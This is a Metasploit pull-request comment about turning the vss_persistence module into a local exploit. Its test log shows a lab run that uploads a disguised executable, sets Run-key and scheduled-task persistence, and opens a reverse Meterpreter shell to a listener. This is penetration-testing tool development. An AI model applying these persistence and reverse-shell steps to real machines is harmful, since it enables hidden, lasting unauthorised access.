Conver vss_persistence to Local Exploit

Okay, so after speaking with @jlee-r7:

```
< egypt> juan: it takes an executable, so it should be an exploit
< egypt> juan: but at the same time, i can see use cases where you'd want to use an outside exe.
< egypt> juan: EXE::Custom solves that
< egypt> ok, so yes.  local exploit with the EXE mixin so users can use EXE::Custom
```

I've already converted the post module to local exploit, it's an easy change :) So user hasn't to worry about the payload creation if he would like to make msf session persistent. If he wants to use his own EXE, still the EXE::Custom provided by the Msf::Exploit::EXE mixin can be used :)

Test:

```
msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                                     Connection
  --  ----                   -----------                                     ----------
  6   meterpreter x86/win32  WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7  192.168.172.1:4444 -> 192.168.172.134:49158 (192.168.172.134)

msf exploit(handler) > use exploit/windows/local/vss_persistence 
msf exploit(vss_persistence) > show options

Module options (exploit/windows/local/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    2                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  false            yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   true             yes       Create AutoRun Key for the EXE
   SCHTASK  true             yes       Create a Scheduled Task for the EXE.
   SESSION  5                yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.172.1    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7


msf exploit(vss_persistence) > set EXECUTE true
EXECUTE => true
msf exploit(vss_persistence) > set session 6
session => 6
msf exploit(vss_persistence) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service is running.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost29.exe...
[*] Sending stage (770048 bytes) to 192.168.172.134
[*] Creating Scheduled Task...
[*] Meterpreter session 7 opened (192.168.172.1:4444 -> 192.168.172.134:49162) at 2013-10-15 11:10:27 -0500



^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
eComputer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 7 closed.  Reason: User exit

```

@MrXors please, feel free to check, review, discuss and once you feel comfortable you can land it into your repo and the original pull request https://github.com/rapid7/metasploit-framework/pull/2503 will be ready to go!